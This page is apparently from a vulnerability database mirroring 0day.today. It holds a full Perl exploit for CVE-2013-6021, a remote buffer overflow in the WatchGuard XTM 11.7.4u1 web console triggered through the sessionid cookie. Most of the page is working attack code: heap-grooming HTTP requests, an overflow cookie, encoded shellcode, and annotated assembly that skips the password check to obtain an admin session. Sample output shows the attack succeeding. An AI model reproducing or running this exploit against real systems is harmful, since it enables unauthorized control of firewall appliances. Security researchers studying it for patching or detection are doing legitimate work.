Lucene search
K

WatchGuard Firewall XTM 11.7.4u1 - Remote Buffer Overflow

🗓️ 29 Oct 2013 00:00:00Reported by st3nType 
zdt
 zdt
🔗 0day.today👁 55 Views

Remote buffer overflow exploit for WatchGuard Firewall version 11.7.4u1 through sessionid cookie

Related
Code
#!/usr/bin/perl -w
# Exploit Title: WatchGuard Firewall XTM version 11.7.4u1 - Remote buffer overflow exploit ~ sessionid cookie
# Date: Oct 18 2013
# Exploit Author: [email protected] (a.k.a. [email protected])
# Vendor Homepage: http://www.watchguard.com
# Version: <= 11.7.4u1
# Tested on: XTMv
# CVE : CVE-2013-6021
 
=header
*********************************************************************
**  WatchGuard Firewall XTM version 11.7.4u1                       **
**  Remote buffer overflow exploit ~ sessionid cookie              **
*********************************************************************
**                                                                 **
**            Author:  [email protected]                      **
**              Blog:  http://funoverip.net                        **
**               CVE:  CVE-2013-6021                               **
**                                                                 **
*********************************************************************
**                                                                 **
**  - Bug, exploit & shellcode details available on:               **
**    http://funoverip.net/?p=1519                                 **
**                                                                 **
**  - Decoded shellocde can be found at the end of this file       **
**                                                                 **
*********************************************************************
=cut
 
 
=output sample
 
[*] Sending HTTP ping request to https://192.168.60.200:8080 : OK. Got 'pong'
[*] Checking sessionid cookie for bad chars
[*] Checking shellcode for bad chars
[*] Heap messaging (request 1) : ...
[*] Sending authentication bypass shellcode (request 2)
[*] HTTP Response : 
 
--------------------------------------------------------------------------------
HTTP/1.1 200 OK
Content-type: text/xml
Set-Cookie: sessionid=6B8B4567327B23C6643C98696633487300000014
Date: Sun, 27 Oct 2013 21:11:38 GMT
Server: none
Content-Length: 751
 
<?xml version="1.0"?>
<methodResponse>
  <params>
    <param>
      <value>
        <struct>
          <member><name>sid</name><value>6B8B4567327B23C6643C98696633487300000014</value></member>
          <member><name>response</name><value></value></member>
          <member>
            <name>readwrite</name>
            <value><struct>
              <member><name>privilege</name><value>2</value></member>
              <member><name>peer_sid</name><value>0</value></member>
              <member><name>peer_name</name><value>error</value></member>
              <member><name>peer_ip</name><value>0.0.0.0</value></member>
            </struct></value>
          </member>
        </struct>
      </value>
    </param>
  </params>
</methodResponse>
--------------------------------------------------------------------------------
 
[*] Over.
=cut
 
use warnings;
use strict;
use IO::Socket::SSL;
 
# host and port of the XTM web console
my $host = "192.168.60.200";
my $port = "8080";
 
# Shellcode (watch out bad chars)
my $shellcode = 
    # shellcode: bypass password verification and return a session cookie
    "PYIIIIIIIIIIIIIIII7QZjAXP0A0AkAAQ2AB2BB0BBABXP8ABuJIMQJdYHfas030mQ" .
    "KusPQWVoEPLKK5wtKOKOkOnkMM4HkO9okOoOePXpwuuXOsJgs4LMbWUTk1KNs04PUX" .
    "eXD4tKTyvgQeZNGIaOgtptC78kM7X8VXGK6fWxnmPGL0MkzTKoVegxmYneidKNKOkO" .
    "9WK5HxkNYoyoUPuP7pGpNkCpvlk9k5UPIoKO9oLKnmL4KNyoKOlKk5qx9nioioLKNu" .
    "RLKNioYoMY3ttdc4NipTq4VhMYTL14NazLxPERuP30oqzMn0G54OuPmkXtyOeUtHlK" .
    "sevhnkRrc8HGW47TeTwpuPEPgpNi4TwTMnNpZyuTgxKOn6K90ELPNkQU7xLKg0r4oy" .
    "ctQ45TlMK35EISKOYoMYWt14MnppMfUTWxYohVk3KpuWMY0Empkw0ENXwtgpuPC0lK" .
    "benpLKSpF0IWPDQ4Fh30s0Wp5PlMmCrMo3KO9olIpTUts4nic44dMnqnyPUTTHKOn6" .
    "LIbeLXSVIW0EMvVb5PKw3uNt7pgpWpuPiWpEnluPWpwpGpOO0KzN34S8kOm7A";
 
# Shellocde max length
my $shellcode_max_len = 2000;
 
 
# set our shellcode address into EAX (expected by alpha2 encoder)
my $alpha2_ecx24 =
        "\x8b\x41\x24" .        # mov    eax, [ecx+0x24]
        "\x29\xd0" .            # sub    eax, edx ; (edx is updated by nopsled)
        "\x83\xc0\x40" .        # add    eax, 0x40
        "\x83\xe8\x35";     # sub    eax, 0x35
        # for the reader, "add eax, edx" contains bad chars. 
    # This is the reason why the nopsled decrement EDX and that we use "dec eax, edx"
 
 
# flush after every write
$| = 1;
 
# HTTP POST data for authentication request
my $login_post_data =
"<methodCall><methodName>login</methodName><params><param><value><struct><member>" .
"<name>password</name><value><string>foo</string></value></member><member>" .
"<name>user</name><value><string>admin</string></value></member></struct></value>" .
"</param></params></methodCall>";
 
# list of bad characters
my @badchars = (
    "\x00",
        "\x01", "\x02", "\x03", "\x04", "\x05", "\x06", "\x07", "\x08", "\x0a",
        "\x0b", "\x0c", "\x0d", "\x0e", "\x0f", "\x10", "\x11", "\x12", "\x13",
        "\x14", "\x15", "\x16", "\x17", "\x18", "\x19", "\x1a", "\x1b", "\x1c",
        "\x1d", "\x1e", "\x1f",
        "\x20", "\x22", "\x26", "\x27", "\x3b" # cookie delimiters
);
 
 
# function: Check input for badchars.
sub check_badchars {
    my $in = shift;
    my $stop = 0;
    for(my $i=0; $i<length($in); $i++){
        my $c = substr($in,$i,1);
        if($c ~~ @badchars){
            printf " - bad char '0x%02x' found\n", ord($c);
            $stop = 1;
        }
    }
    if($stop){ exit; }
}
 
# function: testing remote connectivity with the appliance
# send HTTP "ping" request and expect "pong" reply
sub testing_connectivity {
 
    print "[*] Sending HTTP ping request to https://$host:$port : ";
        my $sock = IO::Socket::SSL->new( PeerHost => "$host", PeerPort => "$port") or die "SSL: $!";
 
        if($sock){
        my $req = 
            "GET /ping HTTP/1.0\r\n" .
            "Host:$host:$port"  . "\r\n" .
            "\r\n";     
 
        # send ping
        print $sock $req;
        my $resp='';
        my $pong = 0;
        # read answer
        while (my $line = <$sock>){
            if($line =~ /pong/) { $pong = 1;}
            $resp .= $line;
        }
        # got pong ?
        if($pong){
            print "OK. Got 'pong'\n";
        }else{
            print "ERROR. Expecting 'pong' response but received :\n";
            print $resp;
            exit;
        }
                close $sock;
        }else{
                print "ERROR: Socket failed !\n";
                exit;
        }
}
 
 
# function: HTTP request used for HEAP messaging phase
sub building_request_step1 {
    my $sessionid = "A" x 120; # do not overflow now
        my $req =
                "POST /agent/ping HTTP/1.1\r\n" .
                "Host:$host:$port"  . "\r\n" .
                "User-Agent: " . "a" x 100 . "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:23.0) Gecko/20100101 Firefox/23.0  " . "a" x 100  . "\r\n" .
                "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8, " . "a" x 992 . "\r\n" .
                "Accept-Language: en-gb,en;q=0.5" . "a" x 200 . "\r\n" .
                "Cookie: sessionid=" . $sessionid . "\r\n" .
        "Accept-Charset: utf-8\r\n" .
        "Content-Type: application/xml\r\n" .
                "Content-Length: 3\r\n" .
                "\r\n" .
                "foo" ;
    return $req;
}
 
# function: HTTP request used for buffer overflow exploitation
sub building_request_step2 {
 
    my $sessionid = 
        "A" x 140 .     # junk
        "\x44\x85" ;    # off by 2 overflow to reach  0x8068544 (on the heap).
                # 0x8068544 contains a "good memory chunk" which satisfy all rules
 
    print "[*] Checking sessionid cookie for bad chars\n";
    check_badchars($sessionid);
 
        my $req =
                "POST /agent/ping HTTP/1.1\r\n" .
                "Host:$host:$port"  . "\r\n" .
                "User-Agent: " . "a" x 1879  . "\r\n" .
                "Connection: keep-alive"  . "a" x 22 . 
                "\x4a" x ($shellcode_max_len - length($shellcode) - length($alpha2_ecx24))  .   # nops
                $alpha2_ecx24 . # set EAX to shellcode addr
                $shellcode .    # shellcode
                "\r\n" .
        "Accept-Encoding: identity," . "b" x 1386 . "\r\n" .
                "Cookie: sessionid=" . $sessionid . "\r\n" .
        "Accept-Charset: utf-8\r\n" .
        "Content-Type: application/xml\r\n" .
                "Content-Length: " . length($login_post_data). "\r\n" .
                "\r\n" .
                $login_post_data ;
 
    return $req;
}
 
# function: Send an HTTP request.
sub send_http_request {
 
    my $req = shift;
    my $read_answer = shift || 0;
    my $http_resp='';
 
    # Open socket
    my $sock = IO::Socket::SSL->new( PeerHost => "$host", PeerPort => "$port") or die "SSL: $!";
 
    if($sock){
                print $sock $req;
 
        # do we need the answer ?
        if ($read_answer){
            my $is_chunked = 0;
            my $is_body = 0;
                    while(my $line = <$sock>){
 
                if($line =~ /Transfer-Encoding: chunked/){
                    $is_chunked = 1;
                    next;
                }
                 
                if($line eq "\r\n"){ 
                    # we reached the body 
                    if($is_chunked){
                        $line = <$sock>; # chunk length
                        $line =~ s/\r\n//g;
                        $sock->read(my $data, hex($line)); # read chunk
                        $http_resp .= sprintf "Content-Length: %d\r\n\r\n", hex($line);
                        $http_resp .= $data;
                        close $sock ;
                        return $http_resp;
                    }
                }
                 
                $http_resp .= $line;
            }
        }
                close $sock;
    }else{
            print "ERROR: Socket failed !\n";
            exit;
    }
    return $http_resp;
}
 
 
 
### MAIN ####
 
 
# print banner
print << 'EOF';
**********************************************************
**  WatchGuard Firewall XTM version 11.7.4u1            **
**  Remote buffer overflow exploit ~ sessionid cookie   **
**********************************************************
**                                                      **
**  Author:  [email protected]                     **
**    Blog:  http://funoverip.net                       **
**     CVE:  CVE-2013-6021                              **
**                                                      **
**********************************************************
**                                                      **
**  Bug, exploit & shellcode details available on:      **
**  http://funoverip.net/?p=1519                        **
**                                                      **
**********************************************************
 
EOF
 
 
# Send an HTTP ping request
testing_connectivity();
 
# building HTTP requests
my $request_step1 = building_request_step1();
my $request_step2 = building_request_step2();
 
# Testing shellcode against bad cahrs
print "[*] Checking shellcode for bad chars\n";
check_badchars($shellcode);
 
# Fillin the heap
print "[*] Heap messaging (request 1) : ";
for(my $i=0 ; $i<3 ; $i++){
    send_http_request($request_step1);
    print ".";
}
print "\n";
 
# Exploiting
print "[*] Sending authentication bypass shellcode (request 2)\n";
my $resp = send_http_request($request_step2,1);
print "[*] HTTP Response : \n\n";
 
print "-" x 80 . "\n";
print $resp;
print "-" x 80 . "\n\n";
 
 
print "[*] Over.\n";
exit;
 
 
=shellcode
;------------------------------------------------
; shellcode-get-gession.asm  
; by Jerome Nokin for XTM(v) 11.7.4 update 1
;------------------------------------------------
 
global _start
_start:
 
 
    ; current EBP/ESP values
    ;-------
    ; esp            0x3ff0b518    
    ; ebp            0x3ff0b558    
 
 
    ; first, fix the stack in HTTP_handle_request function
    ; -------
    ; esp           0x3ff0b6f0  
    ; ebp           0x3ffffcb8  
 
    ; we'll do
    ;---------
    ;$ perl -e 'printf "%x\n", 0x3ff0b518 + 472'
    ; 3ff0b6f0
    ; ESP = ESP + 472
    ;$ perl -e 'printf "%x\n", 0x3ff0b558 + 1001312'
    ; 3ffffcb8
    ; EBP = EBP + 1001312
 
    ; fix ESP/EBP
    add     esp, 472
    add     ebp, 1001312
 
 
    ; fixing overwritten ptrs
 
 
    ; finding initial malloc pointer v50 (overwritten)
    ; 0805f000-08081000 rwxp 00000000 00:00 0          [heap]
 
    ; v54 and v55 have not been overwritten and contain *(v50+0x10) and *(v50+0x14)
 
    ; example inside gdb
    ;b *0x8051901
    ;b *0x80519c0
    ;(gdb) x/xw $ebp-0xf8       <===== v55
    ;0x3ffffbc0:    0x08065b90
    ;(gdb) x/xw $ebp-0xfc           <===== v54                            
    ;0x3ffffbbc:    0x08067fe0
    ;(gdb) find /w 0x08060000, 0x0806ffff, 0x08067fe0, 0x08065b90   <==== search seq on heap
    ;0x8063b48
    ;1 pattern found.
    ;(gdb) x/xw 0x8063b48-0x10  <==== initial malloc ptr (v50) is at 0x8063b48-0x10
    ;0x8063b38: 0x00000001
 
    ; search this sequence on the heap
    mov eax, [ebp-0xfc] ; v54
    mov ebx, [ebp-0xf8] ; v55
 
    mov edi, 0x0805f000     ; heap start addr
loop:
    add edi, 4
    lea esi, [edi+4]
    cmp     esi, 0x08081000     ; edi is out of the heap ?
    je  loop_end
    cmp [edi], eax      ; cmp v54
    jne loop
    cmp     [edi+4], ebx        ; cmp v55
    je  found
    jmp loop
     
loop_end:
    mov eax, 0x08063b38     ; default value (should not be reached)
 
found:
    lea eax, [edi-0x10]     ; eax = v50 address (malloc ptr addr)
     
        ; EBP-0x10c 
        ; saved content of v50 (malloc) = ebp-0x10c 
        mov     [ebp-0x10c], eax
 
        ; reset EBX (see following)
        ; 805185c:       e8 95 43 00 00          call   8055bf6 <wga_signal+0x784>
        ; 8051861:       81 c3 93 c7 00 00       add    ebx,0xc793
        ; ....
        ; 8055bf6:       8b 1c 24                mov    ebx,DWORD PTR [esp]
        ; 8055bf9:       c3                      ret    
        mov     ebx, 0x805dff4
 
    ; EBP-0x108
    ; just reset it to 0
    mov     dword [ebp-0x108], 0x0
     
    ; EBP-0x100
    ;  80519b1:       8b 40 0c                mov    eax,DWORD PTR [eax+0xc]
    ;  80519b4:       89 85 00 ff ff ff       mov    DWORD PTR [ebp-0x100],eax
    mov eax, [eax+0xc]
    mov [ebp-0x100], eax
 
 
    ; simulate call to login function. copy args
    mov ecx, [ebp-0x10c]
    mov eax, [ebp-0x198]
    mov edx, [ebp-0x194]
    mov [esp+0x4],eax
    mov [esp+0x8],edx
    mov [esp],ecx
 
 
    ; Now setup the login function stack
 
    ; current esp/ebp
    ; ----------------
        ; esp           0x3ff0b6f0      
        ; ebp           0x3ffffcb8 
 
    ; we want to land into the login function
    ; ---------------------------------------
    ; esp            0x3ff0b420
    ; ebp            0x3ff0b6e8
 
    ; we'll do
    ;---------
    ; $ perl -e ' printf "%x\n", 0x3ff0b6f0 - 720'
    ; 3ff0b420
    ; ESP = ESP - 720
    ; $ perl -e ' printf "%x\n", 0x3ffffcb8 - 1000912'
    ; 3ff0b6e8
    ; EBP = EBP - 1000912
 
    ; stack fix
    sub     esp, 720
    sub     ebp, 1000912
 
 
    ; EBX -> .GOT (same as above btw)
    mov ebx, 0x805dff4
 
 
        ; simulate "decode HTTP content" fct, at top of the login function
        mov     edx, [ebp+0x8]
        mov     edx, [edx+0x8]
        mov     dword [esp+0x4], 0x0            ; no content_encoding header
        mov     [esp], edx
        mov     esi, 0x0804d990
        call    esi                             ; decode content
        mov     [ebp-0x70],eax                  ; int decoded_content; // [sp+258h] [bp-70h]@1
 
 
    ; simulate "search remote_address"
    mov eax, [ebp+0x8]
    mov eax, [eax+0x14]
    mov [esp+0x4],eax
    lea eax,[ebx-0x3ceb]
    mov [esp],eax
    mov esi, 0x804b670          ;FCGX_GetParam
    call    esi
    add eax, 0x7            ; remove '::ffff:'  ====> to improve
    mov [ebp-0x60],  eax
 
 
    ; is_admin = 4
    mov dword [ebp-0x48], 0x4
 
 
    ; simulate "search req_user value"
    mov eax, [ebp-0x70]
    mov     eax, [eax+0x50]
    mov dword [esp+0x8],0x0
    lea edx,[ebx-0x3c93]
    mov [esp+0x4],edx
    mov [esp],eax   
    mov esi, 0x804c07e
    call    esi             ; <[email protected]+0x3de>
    mov [ebp-0x68],eax
 
 
    ; v49 = 2 (ipv4)
    mov word [ebp-0x5a], 0x2        ; unsigned __int16 v49; // [sp+26Eh] [bp-5Ah]@1
 
    ; challenge
    mov dword [ebp-0x6c], 0x0       ; const char *req_challenge; // [sp+25Ch] [bp-6Ch]@1
 
    ; set v43 to null
    mov dword [ebp-0x74], 0x0       ;int v43; // [sp+254h] [bp-74h]@1
 
 
    ; ok, we are ready to jump in the middle of the "login" function
    ; right after the password verification
 
    ; jump here
    ; 804ee4b:       c7 44 24 04 00 12 00    mov    DWORD PTR [esp+0x4],0x1200
    ; 804ee52:       00 
    ; 804ee53:       c7 04 24 01 00 00 00    mov    DWORD PTR [esp],0x1
    ; 804ee5a:       e8 11 c4 ff ff          call   804b270 <[email protected]>
 
    mov edi, 0x804ee4b
    jmp edi
=cut

#  0day.today [2018-03-03]  #

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation